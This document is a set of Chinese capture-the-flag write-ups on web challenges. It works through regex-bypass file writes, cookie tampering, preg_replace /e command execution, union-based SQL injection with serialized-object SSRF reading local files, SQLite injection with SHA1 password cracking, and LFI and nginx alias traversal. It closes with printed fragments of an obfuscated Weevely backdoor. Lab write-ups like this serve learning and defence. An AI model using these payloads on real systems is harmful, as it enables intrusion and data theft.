利用linux目录结构特性引发的解析漏洞

打开后获得源码开始审计

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>cetc7</title>
</head>
<body>
<?php
session_start();#开始记录sessionif (!isset($_GET[page])) {#如果没有设置page的get参数就显示源码退出程序
    show_source(__FILE__);
    die();
}if (isset($_GET[page]) && $_GET[page] != 'index.php') {#如果设置了page参数并且get参数不等于index.php
    include('flag.php');#就包含flag.php
}else {
    header('Location: ?page=flag.php');#如果没有设置上述的参数那么就会重定向跳转到当前页面的?page=flag也就是添加这个参数
}?><form action="#" method="get">
    page : <input type="text" name="page" value="">
    id : <input type="text" name="id" value="">
    <input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a><?php
if ($_SESSION['admin']) {#如果设置了admin 的SESSION值
    $con = $_POST['con'];#定义con变量接受post值
    $file = $_POST['file'];#定义file变量接受post值
    $filename = "backup/".$file;#拼接filename为 backup/file    if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){#这里只匹配最后一个.
        /.+\.ph(p[3457]?|t|tml)$/i
.表示匹配任何字符不/.+\.ph(p[3457]?|t|tml)$/i包括换行
+表示匹配1个或更多个前面的标记
ph表示匹配ph这两个字符
p表示匹配p这个字符
[3457]表示匹配集合中任意字符
?表示匹配0个或者一个前面的字符
|表示匹配或者前面的或者后面的t tml
$表示匹配字符串的结尾
i表示忽略大小写
        die("Bad file extension");
    }else{
        chdir('uploaded');#这里改变了目录
        $f = fopen($filename, 'w');
        fwrite($f, $con);#写入f文件con内容
        fclose($f);
    }
}
?><?php #如果设置了id 并且id的浮点值不等于1并且截取id的最后一个值等于9这里可以使用php弱类型1-9绕过
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
    include 'config.php';
    $id = mysql_real_escape_string($_GET[id]);#mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
    $sql="select * from cetc007.user where id='$id'";
    $result = mysql_query($sql);
    $result = mysql_fetch_object($result);
} else {
    $result = False;
    die();
}if(!$result)die("<br >something wae wrong ! <br>");
if($result){
    echo "id: ".$result->id."</br>";
    echo "name:".$result->user."</br>";
    $_SESSION['admin'] = True;
}
?></body>
</html>

第一个php便是重定向到page页面

第二个是上传文件并保存但是首先需要session为admin

接着看第三个是要利用php弱类型

如果设置了id 并且id的浮点值不等于1并且截取id的最后一个值等于9这里可以使用php弱类型1-9绕过

http://111.200.241.244:63802/index.php?page=flag.php&id=1-9

接着上传文件,这里主要是包括有一个目录的改变也就是uploaded/backup/目录下面而正则匹配的绕过则需要考虑的是linux的目录结构特性

 apache2.x的解析漏洞 1.php.xxx会被当作php来解析,那么我当时上传的时候,并没有能够成功, 
其中 .. 代表当前目录的父目录 , .代表当前目录,所以这里的c.php/b.php/..也就是访问b.php的父目录,也就是 c.php 

那么这里便构造

zf.php/b.php/..

正则的话是判断.之后的字符,因此我们可以利用‘/.’的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的。

file=…/flag.php/.

通过蚁剑进行连接

逻辑漏洞与

bug攻防世界

image-20220310101617172

这里发现有注册与查找密码

image-20220310101628844

注册有生日,地址

image-20220310101653149

成功以后发现含有UID:6 注册一个登进去

查找密码也含有生日,地址

image-20220310101706446

点message发现

image-20220310101723474

点personal发现

image-20220310101734948

image-20220310101830937

这里可以发现含有一个uid 与user的cookis这里推测可能出现越权漏洞但是这个md5值并不好去发现,那么测试可以发现是

5:wanan			9bb32eda962f2776ac4c286723f07520
user=9bb32eda962f2776ac4c286723f07520

这里构造

		4b9987ccafacb8d8fc08d22bbca797ba	

记得将uid进行替换

得到了admin的信息

回到首页去重置密码去

这里使用自己注册的账号进行更改试试

image-20220310102230106

发现有一个username可能存在越权漏洞改成admin试试

发现改成功了

登录admin之后发现

image-20220310102256653

第一反应便是加上X-Forwarded-For:127.0.0.1头

发现注释信息

image-20220310102423020

因为文件管理可能会有edit,dir,list,upload,delete,include等发现upload是对的

image-20220310102456750

因此以后遇到文件上传的题,建议积累经验,直接抓包改成自己能最多绕过的那种,别一个一个试。最终发现文件的后缀可以是php5。php4也行,具体可以把那么多的php别名一个一个尝试。里面的内容过滤了<?php ?>,因此用<script language="php"></script>来绕过,这样就可以成功获得flag了

image-20220310102957638

攻防世界ics-05(preg_replace()函数 /e 漏洞)

查阅资料发现这里是一个文件包含漏洞

http://111.200.241.244:60854/index.php?page=index.php

使用php://filter协议用于读取源码, php://input用于执行php代码

再次使用php://filter/read= 参数读取文件

在使用转换过滤器php://filter/read=convert.base64-encode/进行base64的编码

之后再次使用resource=参数来过滤筛选过滤的数据流

php://filter/read=convert.base64-encode/resource=index.php进行读取

具体实例

http://111.200.241.244:60854/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

得到源码

<?php
error_reporting(0);@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html><head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head><body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
        var table = layui.table,
            form = layui.form;        table.render({
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    { type: 'numbers' },
                     { type: 'checkbox' },
                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     { field: 'name', title: '设备名', templet: '#nameTpl' },
                     { field: 'area', title: '区域' },
                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
        var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
            //console.log(elem)
            layer.msg(elem.text());
        });
    });
    </script><?php$page = $_GET[page];if (isset($page)) {if (ctype_alnum($page)) {
?>    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br /><?php}else{?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php                if (strpos($page, 'input') > 0) {
                    die();
                }                if (strpos($page, 'ta:text') > 0) {
                    die();
                }                if (strpos($page, 'text') > 0) {
                    die();
                }                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br /><?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
//这里验证X-Forwarded-For头是不是127.0.0.1
    echo "<br >Welcome My Admin ! <br >";    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }}?></body></html>

首先进行X-Forwarded-For:127.0.0.1参数伪造

之后由于preg_replace()函数的/e漏洞进行代码执行

这段 PHP 代码会获取 3 个变量:pat、rep 和 sub 的值,然后进入一个 if-else 语句。isset() 函数在 PHP 中用来判断变量是否声明,此处如果这 3 个值都有传递就会执行 **preg_replace()**函数。
preg_replace 函数执行一个正则表达式的搜索和替换,语法如下:

Copy mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数说明
$pattern要搜索的模式,可以是字符串或一个字符串数组
$replacement用于替换的字符串或字符串数组
$subject: 要搜索替换的目标字符串或字符串数组
$limit可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是 -1(无限制)
$count可选,为替换执行的次数
如果 subject 是一个数组, preg_replace() 返回一个数组,其他情况下返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
这个函数有个 “/e” 漏洞,“/e” 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码进行执行。如果这么做要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
/index.php?pat=/abc/e&rep=system('ls')&sub=abc

获得css index.html index.php js layui logo.png s3chahahaDir start.sh 视图.png

查看一下s3chahahaDir这个目录

index.php?pat=/abc/e&rep=system('ls%20s3chahahaDir')&sub=abc

执行成功,发现 s3chahahaDir 下有个 flag 文件夹,那就更可疑了,再次执行 ls 命令在该文件中查看内容

index.php?pat=/abc/e&rep=system('ls%20s3chahahaDir/flag')&sub=abc

执行成功,发现 flag 文件夹下有一个 flag.php 文件,使用 cat 命令查看文件。查看之后打开 F12,即可看到 flag

/index.php?pat=/abc/e&rep=system('cat%20s3chahahaDir/flag/flag.php')&sub=abc 

攻防世界fakebook

打开网页有login 与join界面login弱口令登录试试,登录使用sqlmap跑一下看有无注入

python sqlmap.py -r C:\Users\14980\Desktop\text1.txt --level 4  --dbs --batch

查看一下源码,在扫描一下目录

image-20220310103853926

发现这些挨个访问看看在robots.txt页面发现有

User-agent: *
Disallow: /user.php.bak

上面的文件虽然存在但是却无法访问到,有可能是因为权限不够,需要找系统中访问的其他方式

接下来下载下来user.php.bak得到源码

<?php
    class UserInfo{    
public $name = "";   
public $age = 0;   
public $blog = "";   
public function __construct($name, $age, $blog)    {     
$this->name = $name;      
$this->age = (int)$age;        
$this->blog = $blog;    }   
function get($url)    {        $ch = curl_init();//初始化一个url回话        curl_setopt($ch, CURLOPT_URL, $url);//设置需要抓取的url        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置url参数,要求结果保存到字符串还是输出到屏幕    
$output = curl_exec($ch);//运行curl,请求网页     
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//获取一个curl连接资源句柄的信息      
if($httpCode == 404) {        
return 404;        }        
curl_close($ch);//关闭一个curl会话     
return $output;    }   
public function getBlogContents ()    {     
return $this->get($this->blog);    }  
public function isValidBlog ()    {    
$blog = $this->blog;      
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);    }}

访问 view.php发现报错信息,得到绝对路径

 /var/www/html/view.php 

这里对join 注册页面进行抓包使用sqlmap抓包看看有无注入发现有一个注入点

python sqlmap.py -r C:\Users\14980\Desktop\text1.txt  -dbs --batch	//这里得到数据库名
available databases [5]:
[*] fakebook
[*] information_schema
[*] mysql
[*] performance_schema
[*] testpython sqlmap.py -r C:\Users\14980\Desktop\text1.txt  -D fakebook --tables --batch   //这里得到表名
userspython sqlmap.py -r C:\Users\14980\Desktop\text1.txt  -D fakebook -T users --dump --batch	//这里得到字段
-----------------------------------------------------------------+
| no   | data | passwd    | username                                                 ---------------------------------------------+
| 1    | O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:0;s:4:"blog";s:6:"1.blog";} | 1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75 (a) | admin   |
| 2    | O:8:"UserInfo":3:{s:4:"name";s:100:"admin' AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM fakebook.users),1,1))>51-- yBdB";s:3:"age";i:4;s:4:"blog";s:6:"1.blog";} | 1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75 (a) | admin' AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM fakebook.users),1,1))>51-- yBdB |

注册完成登录进去之后会发现只有一个username可以点击可以发现其在访问页面,在url中

http://111.200.241.244:64253/view.php?no=1

尝试一下sql注入发现报错信息

image-20220310104235297

http://111.200.241.244:64253/view.php?no=1 and 1=1#	正常
http://111.200.241.244:64253/view.php?no=1 and 1=2#	错误

可以发现有注入点,这里发现字段数为4

view.php?no=1 order by 3#	错误
view.php?no=1 order by 4#	正常
view.php?no=1 order by 5#	错误

在这里发现网页有对sql注入语句的过滤

http://111.200.241.244:64253/view.php?no=-1 union select 1,2,3,4#

这里经过fuzz发现单个的字符并未进行过滤而是过滤的union select整个语句所以这里使用注释符/**/进行绕过,或者++进行绕过

http://111.200.241.244:64253/view.php?no=-1 union++select 1,2,3,4
http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,2,3,4

image-20220310104318999

这里发现2字段可以使用这里直接使用load_file()函数获取系统文件要求,权限较高,且要求文件的绝对路径,这里并没有

这里继续注入一下其他内容看看

http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,user(),3,4
//获得用户名
root@localhost http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,database(),3,4
//获得数据库名
fakebook http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#
//获取fakebook中的表名
usershttp://111.200.241.244:64253/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#
//获取数据库名为fakebook,表名为users中的字段名
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS http://111.200.241.244:63407//view.php?no=-1 union/**/select 1,group_concat(data,username,passwd),3,4 from users where no=1#
//获取数据库名为fakebook,表名为users中的字段名为data,username,passwd的值
O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:38:"https://zhuanlan.zhihu.com/p/161412754";}a1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75 

这里的序列化对象便与之前的获得到的user.php.bak 进行了对应 这里便是进行反序列化了class UserInfo{}类

最开始时的用户页面no=1时,页面返回用户的用户名、密码、博客之类的消息。毫无疑问,页面是根据users表中no=1的这条数据,渲染的页面。因为回显,我们只证明了查询语句的第二个字段是username。其余三个字段并不明确,但我们可以猜测,应该和数据库表中的字段顺序相似。第四个字段应该就是data,而我们现在有一个现成的data数据,能否模拟下?

http://111.200.241.244:63407//view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:38:"https://zhuanlan.zhihu.com/p/161412754";}'#

image-20220310104526968

注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)

因此这里需要构造blog参数的内容

file:///var/www/html/flag.php

原因是在源码中有blog的base64编码

   <iframe width='100%' height='10em' src='data:text/html;base64,'>  

这里利用了File协议读取本地文件,使用PHP构造出payload

<?php
class UserInfo
{
    public $name = "s";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);
//O:8:"UserInfo":3:{s:4:"name";s:1:"s";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

接着进行访问

http://111.200.241.244:63407//view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"s";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

得到base64加密文件

image-20220310104731820

这里进行base64解密得到

<?php$flag = "flag{c1e552fdf77049fabf65168f22f7aeab}";
exit(0);

也可以直接点击链接

image-20220310104743329

后端django服务gbk编码导致宽字符绕过

打开发现一个ping命令输入127.0.0.1发现执行成功,推测可能是命令拼接,但是输入任何有关拼接的字符串会提示invalid url

写一个脚本测试一下过滤了哪些字符

import requestsdef fuzz(location):
    url = location.split('?')[0]
    param = location.split('?')[1].split('=')[0]
    #print(param)
    with open ('./命令执行payload.txt') as file:
        payload_list = file.readlines()
    for payload in payload_list:
        payload =payload.strip("\n")
       # print(payload)
        params = {
            param:payload
        }
        #print(params)
        res = requests.get(url=url,params=params)        if 'Invalid URL' in res.text:
            pass
        else:
            print(f'未被过滤的字符:{payload}')if __name__ == '__main__':
   fuzz('http://111.200.241.244:55466/index.php?url=a')'''未被过滤的字符:@
未被过滤的字符:-
未被过滤的字符:.
未被过滤的字符:/'''

输入@发现在地址栏上@转换成了%40说明有编码转换

http://111.200.241.244:55466/index.php?url=%40

在url处输入宽字符,比如%bf

image-20220310105149299

出现报错信息,将代码复制出来,使用浏览器打开

image-20220310105214023

可以看到这是django的报错页面,看来是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码的范围)

这里可以发现是通过post请求方式进行的而又根据之前@符号未进行过滤

image-20220310105233434

image-20220310105428400

这里还需要懂一些django开发的基本知识,我感觉这道题涉及的面有点广了,django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。

读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。

image-20220310105445854

image-20220310105456612

接着使用@访问这个文件

image-20220310105512413

http://111.200.241.244:55466/index.php?url=@/opt/api/database.sqlite3

在响应中搜索ctf ,flag找到

image-20220310105530764

sqlite 注入引发的pdf爬取与sha1密码爆破

打开没有发现什么有用信息,扫一下后台目录

python dirsearch.py -u http://111.200.241.244:52362/

image-20220310105938224

挨个访问一下发现有

image-20220310105947523

在admin.php页面发现

image-20220310105811511

不可能注入成功

login.php登录试试发现输入单引号有报错

image-20220310105904267

可以得到是sqlite数据库

这个页面查看源码看看,发现有一个debug参数

image-20220310105918595

这里地址栏输入一下返回了部分源码

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
    $user = $_POST['usr'];
    $pass = $_POST['pw'];    $db = new SQLite3('../fancy.db');    $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }    if(isset($row['id'])){
        setcookie('name',' '.$row['name'], time() + 60, '/');
        header("Location: /");
        die();
    }}if(isset($_GET['debug']))
    highlight_file('login.php');
?>

可以发现这里是判断查询数据是否存在,存在注入且将信息存放到了cookie中

tips:

sqlite数据库有一张sqlite_master表,
里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息

这里构造查询用户创建表时的相关信息

usr=1'union select name,sql from sqlite_master--+&pw=a

image-20220310110033355

发现在coolie中存在有信息进行url解码得到有name,password,hint字段

构造查询name,password,hint字段

usr='union select id,group_concat(name) from Users--&pw=a
usr='union select id,group_concat(password) from Users--&pw=a
namepasswordhint
admin3fab54a50e770d830c0416df817567662a9dc85cmy fav word in my fav paper?
fritze54eae8935c90f467427f05e4ece82cf569f89507!,my love is…?
hansi34b0bb7c304949f9ff2fc101eef0f048be10d3bd,the password is password

所以这里需要查询他的论文

首先进行pdf文件的爬取工作

import urllib.requestimport requests
import re# eccbc87e4b5ce2fe28308fd9f2a7baf3.pdf 示例
import urllib3'''eccbc87e4b5ce2fe28308fd9f2a7baf3.pdf 示例
 匹配这个名称  使用正则表达式首先[]表示字符集匹配集合中的任意字符[a-fA-F0-9]原因是哈希函数是只有a-f A-F 0-9 中的字符
  [a-fA-F0-9]{32} 表示匹配前面三十二个字符
  [a-fA-F0-9]{32}\.pdf 表示匹配.pdf这个字符
 '''
'''
1/3/7/8/index.html
1/index.html 实例
匹配后面的名字    ([0-9]{1}\/) {1}表示匹配数字一次首先将1/作为一个整体进行匹配, {0,4}表示匹配0次或者4次index.html表示匹配index.html字符
'''
re1 = '[a-fA-F0-9]{32}\.pdf'
re2 = '[0-9\/]{2,2}index.html'
pdf_list = []  # 创建一个pdf列表,用于储存pdf网址
'''中括号[]:
代表list列表数据类型,列表是一种可变序列'''
# 获取pdfurl列表
def get_pdf(url):
    global pdf_list
    # print(url)
    req = requests.get(url)
    re_1 = re.findall(re1, req.text)  # 这里使用re匹配响应中符合的pdf名称
    # print(re_1)
    for i in re_1:
        pdf_url = url + i
        pdf_list.append(pdf_url)
        # print(pdf_list)
    re_2 = re.findall(re2, req.text)
    # print(re_2)
    for j in re_2:
        new_url = url + j[0:2]
        # print(j[0:2])
        # print(new_url)
        get_pdf(new_url)
    # print(pdf_list)
    return pdf_list
# 获取pdf文件
def get_file(url):
    # req = requests.get(url)
    #print(len(url))
    for i in range(0,len(url)):
        url1 = url[i]
        print(url)
        req = urllib.request.urlopen(url1)# 这里使用的是urllib库的request方法的urlopen将对url发起默认get请求
        filename = str(i) + '.pdf'
        with open(f'./pdf/{filename}', 'wb') as f:  # 打开一个文件并以f为代名 wb 以二进制格式打开文件只用于写入,如果文件已存在则打开文件,并从开头进行编辑,即原有内容会被删除.
            block_size = 8192  # 定义一个读取量防止过大爆内存                                 如果该文件不存在,创建新文件,一般用于非文本文件如图片
            while True:
                buffer = req.read(block_size)  # 这里使用read方法进行读取文件默认返回bytes类型
                if not buffer:  # 当buffer为零时即为假那么取反变为真跳出循环
                    break
                f.write(buffer)  # 进行文件的写入
        print("Sucessful to download" + " " + filename)
if __name__ == '__main__':
    pdf_list = get_pdf('http://111.200.241.244:63725/')
    #print(pdf_list)
    get_file(pdf_list)
    # req  = requests.get('http://111.200.241.244:63725/c4ca4238a0b923820dcc509a6f75849b.pdf')

接下来就是提取pdf里的文本信息了,我在网上找了一个pdf转txt的工具:pdftotext.exe,这个工具可以通过命令行把pdf转txt文件,由于文件相对较多,可以通过python多线程来执行,当然也可以直接手动转换。

import os
import threadingdef thread(cmd):#创建一个cmd类用于通过os.system调用系统cmd
    os.system(cmd)tsk=[]#创建一个列表用于存放线程对象for i in range(0,34):
    filename = str(i) + '.pdf'#获取文件名称
    filename = 'D:\Download\pdf\\' + filename
    cmd = r"D:\Data\secquan\tools\编码解码\pdftotext\pdftotext.exe %s"%(filename)#调用cmd的命令
    print(cmd)
    t = threading.Thread(target=thread(cmd))#创建线程对象
    tsk.append(t)#将线程对象添加到列表中
for t in tsk:
    t.start()#启动线程对象

进行本地密码爆破

import hashlib
import base64
def tiqu(filename):
    f = open('./pdf/{}'.format(filename), 'r',errors='ignore')#这里由于并不是正常编码格式所以会产生保存而使用errors="ignore"可以将报错信息进行屏蔽
    doc = f.read()
    f.close()
    dic = doc.split(' ')
    new_dic = []
    for i in dic:
        i = i.replace(' ', '')
        if i != '':
            new_dic.append(i)
    return new_dic
def sha(word):
    md = hashlib.sha1()
    md.update((word + 'Salz!').encode('utf-8'))
    haxstr = md.hexdigest()
    #print(haxstr)    if '3fab54a50e770d830c0416df817567662a9dc85c' == haxstr:
        print("password:" + word)
        exit()
if __name__ == '__main__':
    for i in range(0, 34):
        n = tiqu(str(i) + '.txt')
        for k in n:
            sha(k)
            #print(base64.b64encode(k.encode("utf-8")))

得到密码ThinJerboa用户名admin

到admin.php进行登录

image-20220310110100433

文件包含,目录遍历,分析Weevely后门代码,写解密函数

1646466067424

弹出登录

扫一下目录

1646466135692

发现

1646466159066

hint.php

1646466609529

/etc/nginx/sites-enabled/site.conf 说文件的配置可能有问题,该文件应该是nginx的站点核心配置文件之一

Hack.php

访问改文件得到一个空白页面,猜测改文件没有直接输出任何语句

/admin | /admin/ |/ad,im/?/login | /admin/index.php都显示

1646466402867

/admin/admin.php

1646466466802

弹窗显示 you need to log in , 然后跳转到 login.php 页面

/images

1646466558803

会跳转到/images/并返回403,没有可以利用的点

基本信息收集的差不多之后,我们现在有几个可以用的点

  1. /admin/admin.php页面

该页面需要登录情况下才能访问,但是我们没有账号和密码,也没有注册页面,所以账号和密码登录是不太现实的.同样爆破账号密码也不太可能.现在最理想的情况是那个地方泄露了cookie,我们可以利用这个cookie以某个用户的身份进行登录

​ 2. /etc/nginx/sites-enabled/site.conf 文件

这个文中给出的提示,肯定有用,但是现在无法去读取这个文件,最常用的读取文件漏洞有"文件包含"与"任意文件下载(读取)",但是需要找到可以利用的点

​ 3.Hack.php页面

暂时还不知道是怎么利用但是看文件名字肯定可以利用

本地文件包含读取Nginx配置文件

这里发现在访问网址时都会带上一个isLogin的cookie,这里没有任何问题,但是isLogin的值被定义为"0"1646467732253

想到cookie是用来识别用户的,维持登录状态的,这里的"0"可能表示布尔值,因此手动将其该为"isLogin=1"

1646468011826

然后再访问 /admin/admin.php , 发现我们成功登录到了站点后台

后台看起来有很多选项卡 , 其实大部分都是假的 , 即使有几个选项存在页面跳转 , 也都是指向 index.php , 没有什么问题 .

在登录时发现请求了这么一个界面

1646468601366

可以发现请求的是后台文件index.php

其中file参数是文件名,ext参数是文件扩展名,那么这里是否存在LFI(本地文件包含漏洞)

  1. ./测试

    payload=file=./index&ext=php
    

    1646469038225

    2.…/测试

    payload=file=../index&ext=php
    

    1646469112174

响应结果和./完全相同,看起来…/并没有被解析处理,或者说是被过滤掉了.

​ 3.…//测试

​ 既然…/可能被过滤了,那么就重叠写为…//这样如果是只过滤一次,并且过滤为空的话就可以绕过这个过滤

payload=file=....//&ext=php

1646469437304

这里页面就发生了变化不在出现please continue,这里可能因为过滤检测后…/index.php文件不存在.导致站点自动跳转到./index.php主页.因此重写法可以绕过…/过滤

​ 4.测试去除ext参数值

如果HTTP请求中ext=php是必须存在且无法更改的,那么这里利用会变得十分困难.因为我们的目标是/etc/nginx/sites-enabled/site.conf文件,而不是php文件

payload=file=index&ext=

1646469772066

没有出现please continue,因此这里看到的页面可能是因为当前目录下面的index文件不存在而强制跳转到index.php

​ 5.**测试去除ext参数值,并在file参数中添加文件扩展名

​ 那么如何验证上述没有出现please continue字符串是因为站点中没有找到这个文件而出现的强制跳转这个猜想是正确的呢

payload=file=index.php&ext=

1646470053397

出现了please continue,说明读取到了当前目录下面的index.php,而前面的没有找到这个站点没有读取到index这个文件,直接跳转到了index.php,因此没有出现please continue

这也说明了我们上面所有的猜想都是正确的.我们可以通过重写…/来绕过站点的过滤机制

现在我们可以直接读取到/etc/nginx/sites-enabled/site.conf

payload = file=....//....//....//....///etc/nginx/sites-enabled/site.conf&ext= 

1646470290737

目录遍历漏洞拿到webshel

利用上面的漏洞,我们可以读取到所有已知文件名的文件,但是我们对于哪些我们不知道的文件,就没有办法读取,必须拿到其他的利用点.所以这里开始查看配置文件根据

Nginx的alias的用法及与root的区别

  1. ​ toot的用法
location /request_path/image/ {
    root /local_path/image/;
}
这样配置的结果就是当客户端请求 /request_path/image/cat.png 的时候,
Nginx把请求映射为/local_path/image/request_path/image/cat.png
  1. alias的用法

    location /request_path/image/ {
        alias /local_path/image/;
    }
    这时候,当客户端请求 /request_path/image/cat.png 的时候,
    Nginx把请求映射为/local_path/image/cat.png
    

    1646474028650

这段代码给/web-img目录设置了一个别名/images/,并且开启了autoindex

alias 用于给 localtion 指定的路径设置别名 , 在路径匹配时 , alias 会把 location 后面配置的路径丢弃掉 , 并把当前匹配到的目录指向到 alias 指定的目录 .

注意!alias会丢弃掉loaction的路径,因此alias后面的路径是从系统根目录开始的,然后直接跟指定的路径,他和root的用法不一样,而autoindex是一个目录浏览功能,用于列出当前目录的所有文件及子目录

总之,这里访问/web-ima,就会访问系统跟目录下的/images/而如果在url中访问/web-img…/则相当于访问/images/…/,也就相当于访问系统根目录.而且由于开启了autoindex,我们可以直击在浏览器里看到根目录下的所有内容

1646474607851

这就是一个目录遍历漏洞,我们可以通过他查看系统中所有文件

遍历目录可以在/var/www下找到hack.php.bak

分析Weevely(Linux中的菜刀)后门代码

先定义多个变量,然后通过str_replace函数进行字符串的替换并拼接,接着通过create_fuction()创建了一个匿名函数,最后执行这个函数

str_replace()函数替换拼接后的代码就是匿名函数 f 的内容因此这里输出 f的内容因此这里输出 f的内容因此这里输出f,看看函数在干什么

<?php
$U = '_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q = 's[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M = 'l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z = 'r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k = '?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
